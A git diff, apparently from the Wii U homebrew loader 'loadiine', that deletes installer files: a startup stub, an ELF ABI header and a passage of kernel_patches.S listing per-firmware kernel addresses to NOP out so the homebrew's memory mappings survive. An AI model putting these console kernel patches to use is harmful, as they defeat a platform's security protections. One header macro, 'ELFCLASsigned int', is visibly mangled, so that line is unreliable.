rm -rf sd_loader.h - make clean -C ../sd_loader - -print_stats: - @echo - @echo "code size : loadiine =>" `$(OBJDUMP) -h ../loadiine.elf | awk '/.kernel_code|.text|.menu_magic|.loader_magic|.fs_method_calls|.rodata|.data|.sdata|.bss|.sbss|.fs_magic/ { sum+=strtonum("0x"$$3) } END {print sum}'` / 7530312 diff --git a/installer/crt0.S b/installer/crt0.S deleted file mode 100644 index a51658b..0000000 --- a/installer/crt0.S +++ /dev/null @@ -1,8 +0,0 @@ -.extern __main - .globl _start -_start: - # load proper stack - lis r1, 0x1ab5 - ori r1, r1, 0xd138 - # jump to our main - bl __main diff --git a/installer/elf_abi.h b/installer/elf_abi.h deleted file mode 100644 index 4d9c796..0000000 --- a/installer/elf_abi.h +++ /dev/null @@ -1,591 +0,0 @@ -/* - * Copyright (c) 1995, 1996, 2001, 2002 - * Erik Theisen. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. The name of the author may not be used to endorse or promote products - * derived from this software without specific prior written permission - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -/* - * This is the ELF ABI header file - * formerly known as "elf_abi.h". - */ - -#ifndef _ELF_ABI_H -#define _ELF_ABI_H - -/* - * This version doesn't work for 64-bit ABIs - Erik. - */ - -/* - * These typedefs need to be handled better. - */ -typedef unsigned int Elf32_Addr; /* Unsigned program address */ -typedef unsigned int Elf32_Off; /* Unsigned file offset */ -typedef signed int Elf32_Sword; /* Signed large integer */ -typedef unsigned int Elf32_Word; /* Unsigned large integer */ -typedef unsigned short Elf32_Half; /* Unsigned medium integer */ - -/* e_ident[] identification indexes */ -#define EI_MAG0 0 /* file ID */ -#define EI_MAG1 1 /* file ID */ -#define EI_MAG2 2 /* file ID */ -#define EI_MAG3 3 /* file ID */ -#define EI_CLASS 4 /* file class */ -#define EI_DATA 5 /* data encoding */ -#define EI_VERSION 6 /* ELF header version */ -#define EI_OSABI 7 /* OS/ABI specific ELF extensions */ -#define EI_ABIVERSION 8 /* ABI target version */ -#define EI_PAD 9 /* start of pad bytes */ -#define EI_NIDENT 16 /* Size of e_ident[] */ - -/* e_ident[] magic number */ -#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */ -#define ELFMAG1 'E' /* e_ident[EI_MAG1] */ -#define ELFMAG2 'L' /* e_ident[EI_MAG2] */ -#define ELFMAG3 'F' /* e_ident[EI_MAG3] */ -#define ELFMAG "\177ELF" /* magic */ -#define SELFMAG 4 /* size of magic */ - -/* e_ident[] file class */ -#define ELFCLASSNONE 0 /* invalid */ -#define ELFCLASsigned int 1 /* 32-bit objs */ -#define ELFCLASS64 2 /* 64-bit objs */ -#define ELFCLASSNUM 3 /* number of classes */ - -/* e_ident[] data encoding */ -#define ELFDATANONE 0 /* invalid */ -#define ELFDATA2LSB 1 /* Little-Endian */ -#define ELFDATA2MSB 2 /* Big-Endian */ -#define ELFDATANUM 3 /* number of data encode defines */ - -/* e_ident[] OS/ABI specific ELF extensions */ -#define ELFOSABI_NONE 0 /* No extension specified */ -#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */ -#define ELFOSABI_NETBSD 2 /* NetBSD */ -#define ELFOSABI_LINUX 3 /* Linux */ -#define ELFOSABI_SOLARIS 6 /* Sun Solaris */ -#define ELFOSABI_AIX 7 /* AIX */ -#define ELFOSABI_IRIX 8 /* IRIX */ -#define ELFOSABI_FREEBSD 9 /* FreeBSD */ -#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */ -#define ELFOSABI_MODESTO 11 /* Novell Modesto */ -#define ELFOSABI_OPENBSD 12 /* OpenBSD */ -/* 64-255 Architecture-specific value range */ - -/* e_ident[] ABI Version */ -#define ELFABIVERSION 0 - -/* e_ident */ -#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ - (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ - (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ - (ehdr).e_ident[EI_MAG3] == ELFMAG3) - -/* ELF Header */ -typedef struct elfhdr{ - unsigned char e_ident[EI_NIDENT]; /* ELF Identification */ - Elf32_Half e_type; /* object file type */ - Elf32_Half e_machine; /* machine */ - Elf32_Word e_version; /* object file version */ - Elf32_Addr e_entry; /* virtual entry point */ - Elf32_Off e_phoff; /* program header table offset */ - Elf32_Off e_shoff; /* section header table offset */ - Elf32_Word e_flags; /* processor-specific flags */ - Elf32_Half e_ehsize; /* ELF header size */ - Elf32_Half e_phentsize; /* program header entry size */ - Elf32_Half e_phnum; /* number of program header entries */ - Elf32_Half e_shentsize; /* section header entry size */ - Elf32_Half e_shnum; /* number of section header entries */ - Elf32_Half e_shstrndx; /* section header table's "section - header string table" entry offset */ -} Elf32_Ehdr; - -/* e_type */ -#define ET_NONE 0 /* No file type */ -#define ET_REL 1 /* relocatable file */ -#define ET_EXEC 2 /* executable file */ -#define ET_DYN 3 /* shared object file */ -#define ET_CORE 4 /* core file */ -#define ET_NUM 5 /* number of types */ -#define ET_LOOS 0xfe00 /* reserved range for operating */ -#define ET_HIOS 0xfeff /* system specific e_type */ -#define ET_LOPROC 0xff00 /* reserved range for processor */ -#define ET_HIPROC 0xffff /* specific e_type */ - -/* e_machine */ -#define EM_NONE 0 /* No Machine */ -#define EM_M32 1 /* AT&T WE 32100 */ -#define EM_SPARC 2 /* SPARC */ -#define EM_386 3 /* Intel 80386 */ -#define EM_68K 4 /* Motorola 68000 */ -#define EM_88K 5 /* Motorola 88000 */ -#if 0 -#define EM_486 6 /* RESERVED - was Intel 80486 */ -#endif -#define EM_860 7 /* Intel 80860 */ -#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */ -#define EM_S370 9 /* IBM System/370 Processor */ -#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */ -#if 0 -#define EM_SPARC64 11 /* RESERVED - was SPARC v9 - 64-bit unoffical */ -#endif -/* RESERVED 11-14 for future use */ -#define EM_PARISC 15 /* HPPA */ -/* RESERVED 16 for future use */ -#define EM_VPP500 17 /* Fujitsu VPP500 */ -#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */ -#define EM_960 19 /* Intel 80960 */ -#define EM_PPC 20 /* PowerPC */ -#define EM_PPC64 21 /* 64-bit PowerPC */ -#define EM_S390 22 /* IBM System/390 Processor */ -/* RESERVED 23-35 for future use */ -#define EM_V800 36 /* NEC V800 */ -#define EM_FR20 37 /* Fujitsu FR20 */ -#define EM_RH32 38 /* TRW RH-32 */ -#define EM_RCE 39 /* Motorola RCE */ -#define EM_ARM 40 /* Advanced Risc Machines ARM */ -#define EM_ALPHA 41 /* Digital Alpha */ -#define EM_SH 42 /* Hitachi SH */ -#define EM_SPARCV9 43 /* SPARC Version 9 */ -#define EM_TRICORE 44 /* Siemens TriCore embedded processor */ -#define EM_ARC 45 /* Argonaut RISC Core */ -#define EM_H8_300 46 /* Hitachi H8/300 */ -#define EM_H8_300H 47 /* Hitachi H8/300H */ -#define EM_H8S 48 /* Hitachi H8S */ -#define EM_H8_500 49 /* Hitachi H8/500 */ -#define EM_IA_64 50 /* Intel Merced */ -#define EM_MIPS_X 51 /* Stanford MIPS-X */ -#define EM_COLDFIRE 52 /* Motorola Coldfire */ -#define EM_68HC12 53 /* Motorola M68HC12 */ -#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/ -#define EM_PCP 55 /* Siemens PCP */ -#define EM_NCPU 56 /* Sony nCPU embeeded RISC */ -#define EM_NDR1 57 /* Denso NDR1 microprocessor */ -#define EM_STARCORE 58 /* Motorola Start*Core processor */ -#define EM_ME16 59 /* Toyota ME16 processor */ -#define EM_ST100 60 /* STMicroelectronic ST100 processor */ -#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/ -#define EM_X86_64 62 /* AMD x86-64 */ -#define EM_PDSP 63 /* Sony DSP Processor */ -/* RESERVED 64,65 for future use */ -#define EM_FX66 66 /* Siemens FX66 microcontroller */ -#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ -#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */ -#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ -#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ -#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ -#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ -#define EM_SVX 73 /* Silicon Graphics SVx */ -#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ -#define EM_VAX 75 /* Digital VAX */ -#define EM_CHRIS 76 /* Axis Communications embedded proc. */ -#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */ -#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ -#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ -#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */ -#define EM_HUANY 81 /* Harvard University mach-indep objs */ -#define EM_PRISM 82 /* SiTera Prism */ -#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ -#define EM_FR30 84 /* Fujitsu FR30 */ -#define EM_D10V 85 /* Mitsubishi DV10V */ -#define EM_D30V 86 /* Mitsubishi DV30V */ -#define EM_V850 87 /* NEC v850 */ -#define EM_M32R 88 /* Mitsubishi M32R */ -#define EM_MN10300 89 /* Matsushita MN10200 */ -#define EM_MN10200 90 /* Matsushita MN10200 */ -#define EM_PJ 91 /* picoJava */ -#define EM_NUM 92 /* number of machine types */ - -/* Version */ -#define EV_NONE 0 /* Invalid */ -#define EV_CURRENT 1 /* Current */ -#define EV_NUM 2 /* number of versions */ - -/* Section Header */ -typedef struct { - Elf32_Word sh_name; /* name - index into section header - string table section */ - Elf32_Word sh_type; /* type */ - Elf32_Word sh_flags; /* flags */ - Elf32_Addr sh_addr; /* address */ - Elf32_Off sh_offset; /* file offset */ - Elf32_Word sh_size; /* section size */ - Elf32_Word sh_link; /* section header table index link */ - Elf32_Word sh_info; /* extra information */ - Elf32_Word sh_addralign; /* address alignment */ - Elf32_Word sh_entsize; /* section entry size */ -} Elf32_Shdr; - -/* Special Section Indexes */ -#define SHN_UNDEF 0 /* undefined */ -#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */ -#define SHN_LOPROC 0xff00 /* reserved range for processor */ -#define SHN_HIPROC 0xff1f /* specific section indexes */ -#define SHN_LOOS 0xff20 /* reserved range for operating */ -#define SHN_HIOS 0xff3f /* specific semantics */ -#define SHN_ABS 0xfff1 /* absolute value */ -#define SHN_COMMON 0xfff2 /* common symbol */ -#define SHN_XINDEX 0xffff /* Index is an extra table */ -#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */ - -/* sh_type */ -#define SHT_NULL 0 /* inactive */ -#define SHT_PROGBITS 1 /* program defined information */ -#define SHT_SYMTAB 2 /* symbol table section */ -#define SHT_STRTAB 3 /* string table section */ -#define SHT_RELA 4 /* relocation section with addends*/ -#define SHT_HASH 5 /* symbol hash table section */ -#define SHT_DYNAMIC 6 /* dynamic section */ -#define SHT_NOTE 7 /* note section */ -#define SHT_NOBITS 8 /* no space section */ -#define SHT_REL 9 /* relation section without addends */ -#define SHT_SHLIB 10 /* reserved - purpose unknown */ -#define SHT_DYNSYM 11 /* dynamic symbol table section */ -#define SHT_INIT_ARRAY 14 /* Array of constructors */ -#define SHT_FINI_ARRAY 15 /* Array of destructors */ -#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ -#define SHT_GROUP 17 /* Section group */ -#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ -#define SHT_NUM 19 /* number of section types */ -#define SHT_LOOS 0x60000000 /* Start OS-specific */ -#define SHT_HIOS 0x6fffffff /* End OS-specific */ -#define SHT_LOPROC 0x70000000 /* reserved range for processor */ -#define SHT_HIPROC 0x7fffffff /* specific section header types */ -#define SHT_LOUSER 0x80000000 /* reserved range for application */ -#define SHT_HIUSER 0xffffffff /* specific indexes */ - -/* Section names */ -#define ELF_BSS ".bss" /* uninitialized data */ -#define ELF_COMMENT ".comment" /* version control information */ -#define ELF_DATA ".data" /* initialized data */ -#define ELF_DATA1 ".data1" /* initialized data */ -#define ELF_DEBUG ".debug" /* debug */ -#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */ -#define ELF_DYNSTR ".dynstr" /* dynamic string table */ -#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */ -#define ELF_FINI ".fini" /* termination code */ -#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */ -#define ELF_GOT ".got" /* global offset table */ -#define ELF_HASH ".hash" /* symbol hash table */ -#define ELF_INIT ".init" /* initialization code */ -#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */ -#define ELF_INTERP ".interp" /* Pathname of program interpreter */ -#define ELF_LINE ".line" /* Symbolic line numnber information */ -#define ELF_NOTE ".note" /* Contains note section */ -#define ELF_PLT ".plt" /* Procedure linkage table */ -#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */ -#define ELF_REL_DATA ".rel.data" /* relocation data */ -#define ELF_REL_FINI ".rel.fini" /* relocation termination code */ -#define ELF_REL_INIT ".rel.init" /* relocation initialization code */ -#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */ -#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */ -#define ELF_REL_TEXT ".rel.text" /* relocation code */ -#define ELF_RODATA ".rodata" /* read-only data */ -#define ELF_RODATA1 ".rodata1" /* read-only data */ -#define ELF_SHSTRTAB ".shstrtab" /* section header string table */ -#define ELF_STRTAB ".strtab" /* string table */ -#define ELF_SYMTAB ".symtab" /* symbol table */ -#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */ -#define ELF_TBSS ".tbss" /* thread local uninit data */ -#define ELF_TDATA ".tdata" /* thread local init data */ -#define ELF_TDATA1 ".tdata1" /* thread local init data */ -#define ELF_TEXT ".text" /* code */ - -/* Section Attribute Flags - sh_flags */ -#define SHF_WRITE 0x1 /* Writable */ -#define SHF_ALLOC 0x2 /* occupies memory */ -#define SHF_EXECINSTR 0x4 /* executable */ -#define SHF_MERGE 0x10 /* Might be merged */ -#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */ -#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */ -#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/ -#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */ -#define SHF_GROUP 0x200 /* Member of section group */ -#define SHF_TLS 0x400 /* Thread local storage */ -#define SHF_MASKOS 0x0ff00000 /* OS specific */ -#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific section attributes */ - -/* Section Group Flags */ -#define GRP_COMDAT 0x1 /* COMDAT group */ -#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */ -#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */ - -/* Symbol Table Entry */ -typedef struct elf32_sym { - Elf32_Word st_name; /* name - index into string table */ - Elf32_Addr st_value; /* symbol value */ - Elf32_Word st_size; /* symbol size */ - unsigned char st_info; /* type and binding */ - unsigned char st_other; /* 0 - no defined meaning */ - Elf32_Half st_shndx; /* section header index */ -} Elf32_Sym; - -/* Symbol table index */ -#define STN_UNDEF 0 /* undefined */ - -/* Extract symbol info - st_info */ -#define ELF32_ST_BIND(x) ((x) >> 4) -#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf) -#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf)) -#define ELF32_ST_VISIBILITY(x) ((x) & 0x3) - -/* Symbol Binding - ELF32_ST_BIND - st_info */ -#define STB_LOCAL 0 /* Local symbol */ -#define STB_GLOBAL 1 /* Global symbol */ -#define STB_WEAK 2 /* like global - lower precedence */ -#define STB_NUM 3 /* number of symbol bindings */ -#define STB_LOOS 10 /* reserved range for operating */ -#define STB_HIOS 12 /* system specific symbol bindings */ -#define STB_LOPROC 13 /* reserved range for processor */ -#define STB_HIPROC 15 /* specific symbol bindings */ - -/* Symbol type - ELF32_ST_TYPE - st_info */ -#define STT_NOTYPE 0 /* not specified */ -#define STT_OBJECT 1 /* data object */ -#define STT_FUNC 2 /* function */ -#define STT_SECTION 3 /* section */ -#define STT_FILE 4 /* file */ -#define STT_NUM 5 /* number of symbol types */ -#define STT_TLS 6 /* Thread local storage symbol */ -#define STT_LOOS 10 /* reserved range for operating */ -#define STT_HIOS 12 /* system specific symbol types */ -#define STT_LOPROC 13 /* reserved range for processor */ -#define STT_HIPROC 15 /* specific symbol types */ - -/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */ -#define STV_DEFAULT 0 /* Normal visibility rules */ -#define STV_INTERNAL 1 /* Processor specific hidden class */ -#define STV_HIDDEN 2 /* Symbol unavailable in other mods */ -#define STV_PROTECTED 3 /* Not preemptible, not exported */ - - -/* Relocation entry with implicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ -} Elf32_Rel; - -/* Relocation entry with explicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ - Elf32_Sword r_addend; -} Elf32_Rela; - -/* Extract relocation info - r_info */ -#define ELF32_R_SYM(i) ((i) >> 8) -#define ELF32_R_TYPE(i) ((unsigned char) (i)) -#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t)) - -/* Program Header */ -typedef struct { - Elf32_Word p_type; /* segment type */ - Elf32_Off p_offset; /* segment offset */ - Elf32_Addr p_vaddr; /* virtual address of segment */ - Elf32_Addr p_paddr; /* physical address - ignored? */ - Elf32_Word p_filesz; /* number of bytes in file for seg. */ - Elf32_Word p_memsz; /* number of bytes in mem. for seg. */ - Elf32_Word p_flags; /* flags */ - Elf32_Word p_align; /* memory alignment */ -} Elf32_Phdr; - -/* Segment types - p_type */ -#define PT_NULL 0 /* unused */ -#define PT_LOAD 1 /* loadable segment */ -#define PT_DYNAMIC 2 /* dynamic linking section */ -#define PT_INTERP 3 /* the RTLD */ -#define PT_NOTE 4 /* auxiliary information */ -#define PT_SHLIB 5 /* reserved - purpose undefined */ -#define PT_PHDR 6 /* program header */ -#define PT_TLS 7 /* Thread local storage template */ -#define PT_NUM 8 /* Number of segment types */ -#define PT_LOOS 0x60000000 /* reserved range for operating */ -#define PT_HIOS 0x6fffffff /* system specific segment types */ -#define PT_LOPROC 0x70000000 /* reserved range for processor */ -#define PT_HIPROC 0x7fffffff /* specific segment types */ - -/* Segment flags - p_flags */ -#define PF_X 0x1 /* Executable */ -#define PF_W 0x2 /* Writable */ -#define PF_R 0x4 /* Readable */ -#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */ -#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific segment flags */ -/* Dynamic structure */ -typedef struct -{ - Elf32_Sword d_tag; /* controls meaning of d_val */ - union - { - Elf32_Word d_val; /* Multiple meanings - see d_tag */ - Elf32_Addr d_ptr; /* program virtual address */ - } d_un; -} Elf32_Dyn; - -extern Elf32_Dyn _DYNAMIC[]; - -/* Dynamic Array Tags - d_tag */ -#define DT_NULL 0 /* marks end of _DYNAMIC array */ -#define DT_NEEDED 1 /* string table offset of needed lib */ -#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */ -#define DT_PLTGOT 3 /* address PLT/GOT */ -#define DT_HASH 4 /* address of symbol hash table */ -#define DT_STRTAB 5 /* address of string table */ -#define DT_SYMTAB 6 /* address of symbol table */ -#define DT_RELA 7 /* address of relocation table */ -#define DT_RELASZ 8 /* size of relocation table */ -#define DT_RELAENT 9 /* size of relocation entry */ -#define DT_STRSZ 10 /* size of string table */ -#define DT_SYMENT 11 /* size of symbol table entry */ -#define DT_INIT 12 /* address of initialization func. */ -#define DT_FINI 13 /* address of termination function */ -#define DT_SONAME 14 /* string table offset of shared obj */ -#define DT_RPATH 15 /* string table offset of library - search path */ -#define DT_SYMBOLIC 16 /* start sym search in shared obj. */ -#define DT_REL 17 /* address of rel. tbl. w addends */ -#define DT_RELSZ 18 /* size of DT_REL relocation table */ -#define DT_RELENT 19 /* size of DT_REL relocation entry */ -#define DT_PLTREL 20 /* PLT referenced relocation entry */ -#define DT_DEBUG 21 /* bugger */ -#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */ -#define DT_JMPREL 23 /* add. of PLT's relocation entries */ -#define DT_BIND_NOW 24 /* Process relocations of object */ -#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ -#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ -#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ -#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ -#define DT_RUNPATH 29 /* Library search path */ -#define DT_FLAGS 30 /* Flags for the object being loaded */ -#define DT_ENCODING 32 /* Start of encoded range */ -#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ -#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ -#define DT_NUM 34 /* Number used. */ -#define DT_LOOS 0x60000000 /* reserved range for OS */ -#define DT_HIOS 0x6fffffff /* specific dynamic array tags */ -#define DT_LOPROC 0x70000000 /* reserved range for processor */ -#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */ - -/* Dynamic Tag Flags - d_un.d_val */ -#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */ -#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */ -#define DF_TEXTREL 0x04 /* Object contains text relocations */ -#define DF_BIND_NOW 0x08 /* No lazy binding for this object */ -#define DF_STATIC_TLS 0x10 /* Static thread local storage */ - -/* Standard ELF hashing function */ -unsigned long elf_hash(const unsigned char *name); - -#define ELF_TARG_VER 1 /* The ver for which this code is intended */ - -/* - * XXX - PowerPC defines really don't belong in here, - * but we'll put them in for simplicity. - */ - -/* Values for Elf32/64_Ehdr.e_flags. */ -#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ - -/* Cygnus local bits below */ -#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ -#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib - flag */ - -/* PowerPC relocations defined by the ABIs */ -#define R_PPC_NONE 0 -#define R_PPC_ADDR32 1 /* 32bit absolute address */ -#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ -#define R_PPC_ADDR16 3 /* 16bit absolute address */ -#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ -#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ -#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ -#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ -#define R_PPC_ADDR14_BRTAKEN 8 -#define R_PPC_ADDR14_BRNTAKEN 9 -#define R_PPC_REL24 10 /* PC relative 26 bit */ -#define R_PPC_REL14 11 /* PC relative 16 bit */ -#define R_PPC_REL14_BRTAKEN 12 -#define R_PPC_REL14_BRNTAKEN 13 -#define R_PPC_GOT16 14 -#define R_PPC_GOT16_LO 15 -#define R_PPC_GOT16_HI 16 -#define R_PPC_GOT16_HA 17 -#define R_PPC_PLTREL24 18 -#define R_PPC_COPY 19 -#define R_PPC_GLOB_DAT 20 -#define R_PPC_JMP_SLOT 21 -#define R_PPC_RELATIVE 22 -#define R_PPC_LOCAL24PC 23 -#define R_PPC_UADDR32 24 -#define R_PPC_UADDR16 25 -#define R_PPC_REL32 26 -#define R_PPC_PLT32 27 -#define R_PPC_PLTREL32 28 -#define R_PPC_PLT16_LO 29 -#define R_PPC_PLT16_HI 30 -#define R_PPC_PLT16_HA 31 -#define R_PPC_SDAREL16 32 -#define R_PPC_SECTOFF 33 -#define R_PPC_SECTOFF_LO 34 -#define R_PPC_SECTOFF_HI 35 -#define R_PPC_SECTOFF_HA 36 -/* Keep this the last entry. */ -#define R_PPC_NUM 37 - -/* The remaining relocs are from the Embedded ELF ABI, and are not - in the SVR4 ELF ABI. */ -#define R_PPC_EMB_NADDR32 101 -#define R_PPC_EMB_NADDR16 102 -#define R_PPC_EMB_NADDR16_LO 103 -#define R_PPC_EMB_NADDR16_HI 104 -#define R_PPC_EMB_NADDR16_HA 105 -#define R_PPC_EMB_SDAI16 106 -#define R_PPC_EMB_SDA2I16 107 -#define R_PPC_EMB_SDA2REL 108 -#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ -#define R_PPC_EMB_MRKREF 110 -#define R_PPC_EMB_RELSEC16 111 -#define R_PPC_EMB_RELST_LO 112 -#define R_PPC_EMB_RELST_HI 113 -#define R_PPC_EMB_RELST_HA 114 -#define R_PPC_EMB_BIT_FLD 115 -#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ - -/* Diab tool relocations. */ -#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ -#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ -#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ -#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ -#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ -#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ - -/* This is a phony reloc to handle any old fashioned TOC16 references - that may still be in object files. */ -#define R_PPC_TOC16 255 - -#endif /* _ELF_H */ diff --git a/installer/kernel_patches.S b/installer/kernel_patches.S deleted file mode 100644 index f5c0936..0000000 --- a/installer/kernel_patches.S +++ /dev/null @@ -1,282 +0,0 @@ -#if (VER == 550) - #define BAT_SETUP_HOOK_ADDR 0xFFF1D624 - # not all of those NOP address are required for every firmware - # mainly these should stop the kernel from removing our IBAT4 and DBAT5 - #define BAT_SET_NOP_ADDR_1 0xFFF06B6C - #define BAT_SET_NOP_ADDR_2 0xFFF06BF8 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1D70C - #define BAT_SET_NOP_ADDR_6 0xFFF1D728 - #define BAT_SET_NOP_ADDR_7 0xFFF1D82C - - #define BAT_SET_NOP_ADDR_8 0xFFEE11C4 - #define BAT_SET_NOP_ADDR_9 0xFFEE11C8 - -#elif ((VER == 532) || (VER == 540)) - #define BAT_SETUP_HOOK_ADDR 0xFFF1D638 - - # not all of those NOP address are required for every firmware - # mainly these should stop the kernel from removing our IBAT4 and DBAT5 - #define BAT_SET_NOP_ADDR_1 0xFFF06A14 - #define BAT_SET_NOP_ADDR_2 0xFFF06AA0 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1D720 - #define BAT_SET_NOP_ADDR_6 0xFFF1D73C - #define BAT_SET_NOP_ADDR_7 0xFFF1D840 - - #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 - #define BAT_SET_NOP_ADDR_9 0xFFEE10BC - -#elif ((VER == 500) || (VER == 510)) - #define BAT_SETUP_HOOK_ADDR 0xFFF1D518 - - #define BAT_SET_NOP_ADDR_1 0xFFF0697C - #define BAT_SET_NOP_ADDR_2 0xFFF06A08 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1D600 - #define BAT_SET_NOP_ADDR_6 0xFFF1D61C - #define BAT_SET_NOP_ADDR_7 0xFFF1D720 - - #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 - #define BAT_SET_NOP_ADDR_9 0xFFEE10BC -#elif VER == 410 - #define BAT_SETUP_HOOK_ADDR 0xFFF1AD00 - - #define BAT_SET_NOP_ADDR_1 0xFFF06708 - #define BAT_SET_NOP_ADDR_2 0xFFF06794 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1ADE8 - #define BAT_SET_NOP_ADDR_6 0xFFF1AE04 - #define BAT_SET_NOP_ADDR_7 0xFFF1AF08 - - #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 - #define BAT_SET_NOP_ADDR_9 0xFFEE10BC -#elif VER == 400 - #define 